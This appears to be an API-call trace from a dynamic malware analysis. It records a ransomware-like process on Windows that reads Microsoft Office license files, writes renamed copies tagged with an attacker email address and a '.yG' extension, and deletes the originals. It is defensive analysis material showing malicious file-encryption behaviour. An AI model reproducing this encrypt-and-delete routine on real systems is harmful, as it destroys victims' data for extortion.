	[0168.774] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.774] lstrlenW (lpString=".pdf") returned 4
	[0168.774] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.774] lstrlenW (lpString=".xls") returned 4
	[0168.774] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.774] lstrlenW (lpString=".xlsx") returned 5
	[0168.774] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.774] lstrlenW (lpString=".ppt") returned 4
	[0168.774] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0168.774] lstrlenW (lpString=".zip") returned 4
	[0168.774] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.774] lstrlenW (lpString=".rar") returned 4
	[0168.774] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.775] lstrlenW (lpString=".bz2") returned 4
	[0168.775] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.775] lstrlenW (lpString=".7z") returned 3
	[0168.775] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0168.775] lstrlenW (lpString=".dbf") returned 4
	[0168.775] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0168.775] lstrlenW (lpString=".1cd") returned 4
	[0168.775] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0168.775] lstrlenW (lpString=".jpg") returned 4
	[0168.775] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.776] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11612) returned 1
	[0168.776] CloseHandle (hObject=0x4d8) returned 1
	[0168.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0168.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0168.778] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.778] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0168.780] GetLastError () returned 0x0
	[0168.780] ReadFile (in: hFile=0x4d8, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d5c, lpOverlapped=0x0) returned 1
	[0168.782] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0168.784] ReadFile (in: hFile=0x4d8, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.784] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0168.785] SetEndOfFile (hFile=0x554) returned 1
	[0168.785] CloseHandle (hObject=0x554) returned 1
	[0168.785] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.785] SetEndOfFile (hFile=0x4d8) returned 1
	[0168.790] CloseHandle (hObject=0x4d8) returned 1
	[0168.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0168.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0168.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0168.980] lstrlenW (lpString=".doc") returned 4
	[0168.980] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.980] lstrlenW (lpString=".docx") returned 5
	[0168.980] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.980] lstrlenW (lpString=".pdf") returned 4
	[0168.980] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.980] lstrlenW (lpString=".xls") returned 4
	[0168.980] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.980] lstrlenW (lpString=".xlsx") returned 5
	[0168.980] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.980] lstrlenW (lpString=".ppt") returned 4
	[0168.981] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0168.981] lstrlenW (lpString=".zip") returned 4
	[0168.981] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.981] lstrlenW (lpString=".rar") returned 4
	[0168.981] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.981] lstrlenW (lpString=".bz2") returned 4
	[0168.981] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.981] lstrlenW (lpString=".7z") returned 3
	[0168.981] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0168.981] lstrlenW (lpString=".dbf") returned 4
	[0168.981] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0168.981] lstrlenW (lpString=".1cd") returned 4
	[0168.981] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0168.981] lstrlenW (lpString=".jpg") returned 4
	[0168.981] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.982] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11604) returned 1
	[0168.982] CloseHandle (hObject=0x38c) returned 1
	[0168.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 0x220
	[0168.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0168.984] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.984] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0168.985] GetLastError () returned 0x0
	[0168.985] ReadFile (in: hFile=0x38c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d54, lpOverlapped=0x0) returned 1
	[0169.019] WriteFile (in: hFile=0x564, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0169.020] ReadFile (in: hFile=0x38c, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.020] WriteFile (in: hFile=0x564, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x116, lpOverlapped=0x0) returned 1
	[0169.020] SetEndOfFile (hFile=0x564) returned 1
	[0169.022] CloseHandle (hObject=0x564) returned 1
	[0169.026] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.026] SetEndOfFile (hFile=0x38c) returned 1
	[0169.036] CloseHandle (hObject=0x38c) returned 1
	[0169.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 1
	[0169.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0169.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0169.736] lstrlenW (lpString=".doc") returned 4
	[0169.736] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.736] lstrlenW (lpString=".docx") returned 5
	[0169.736] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.736] lstrlenW (lpString=".pdf") returned 4
	[0169.736] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.736] lstrlenW (lpString=".xls") returned 4
	[0169.736] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.736] lstrlenW (lpString=".xlsx") returned 5
	[0169.736] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.736] lstrlenW (lpString=".ppt") returned 4
	[0169.736] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0169.736] lstrlenW (lpString=".zip") returned 4
	[0169.736] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.736] lstrlenW (lpString=".rar") returned 4
	[0169.736] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.736] lstrlenW (lpString=".bz2") returned 4
	[0169.737] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.737] lstrlenW (lpString=".7z") returned 3
	[0169.737] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0169.737] lstrlenW (lpString=".dbf") returned 4
	[0169.737] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0169.737] lstrlenW (lpString=".1cd") returned 4
	[0169.737] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0169.737] lstrlenW (lpString=".jpg") returned 4
	[0169.737] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.738] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=26538) returned 1
	[0169.738] CloseHandle (hObject=0x574) returned 1
	[0169.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0169.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0169.739] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.739] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0169.740] GetLastError () returned 0x0
	[0169.740] ReadFile (in: hFile=0x574, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x67aa, lpOverlapped=0x0) returned 1
	[0169.770] WriteFile (in: hFile=0x53c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0169.772] ReadFile (in: hFile=0x574, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.772] WriteFile (in: hFile=0x53c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x114, lpOverlapped=0x0) returned 1
	[0169.772] SetEndOfFile (hFile=0x53c) returned 1
	[0169.772] CloseHandle (hObject=0x53c) returned 1
	[0169.772] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.772] SetEndOfFile (hFile=0x574) returned 1
	[0169.776] CloseHandle (hObject=0x574) returned 1
	[0169.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0169.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0169.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0169.782] lstrlenW (lpString=".doc") returned 4
	[0169.782] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.782] lstrlenW (lpString=".docx") returned 5
	[0169.782] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.782] lstrlenW (lpString=".pdf") returned 4
	[0169.782] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.782] lstrlenW (lpString=".xls") returned 4
	[0169.782] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.782] lstrlenW (lpString=".xlsx") returned 5
	[0169.782] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.782] lstrlenW (lpString=".ppt") returned 4
	[0169.782] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0169.783] lstrlenW (lpString=".zip") returned 4
	[0169.783] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.783] lstrlenW (lpString=".rar") returned 4
	[0169.783] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.783] lstrlenW (lpString=".bz2") returned 4
	[0169.783] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.783] lstrlenW (lpString=".7z") returned 3
	[0169.783] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0169.783] lstrlenW (lpString=".dbf") returned 4
	[0169.783] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0169.783] lstrlenW (lpString=".1cd") returned 4
	[0169.783] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0169.783] lstrlenW (lpString=".jpg") returned 4
	[0169.783] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.784] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=26459) returned 1
	[0169.784] CloseHandle (hObject=0x574) returned 1
	[0169.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 0x220
	[0169.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0169.786] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.786] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0169.787] GetLastError () returned 0x0
	[0169.787] ReadFile (in: hFile=0x574, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x675b, lpOverlapped=0x0) returned 1
	[0169.892] WriteFile (in: hFile=0x53c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x6760, lpOverlapped=0x0) returned 1
	[0169.894] ReadFile (in: hFile=0x574, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.894] WriteFile (in: hFile=0x53c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x102, lpOverlapped=0x0) returned 1
	[0169.894] SetEndOfFile (hFile=0x53c) returned 1
	[0169.918] CloseHandle (hObject=0x53c) returned 1
	[0169.922] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.922] SetEndOfFile (hFile=0x574) returned 1
	[0169.927] CloseHandle (hObject=0x574) returned 1
	[0169.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 1
	[0169.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0169.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0169.929] lstrlenW (lpString=".doc") returned 4
	[0169.929] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.929] lstrlenW (lpString=".docx") returned 5
	[0169.929] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.929] lstrlenW (lpString=".pdf") returned 4
	[0169.929] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.929] lstrlenW (lpString=".xls") returned 4
	[0169.929] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.929] lstrlenW (lpString=".xlsx") returned 5
	[0169.930] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.930] lstrlenW (lpString=".ppt") returned 4
	[0169.930] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0169.930] lstrlenW (lpString=".zip") returned 4
	[0169.930] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.930] lstrlenW (lpString=".rar") returned 4
	[0169.930] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.930] lstrlenW (lpString=".bz2") returned 4
	[0169.930] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.930] lstrlenW (lpString=".7z") returned 3
	[0169.930] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73
	[0169.930] lstrlenW (lpString=".dbf") returned 4
	[0169.930] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
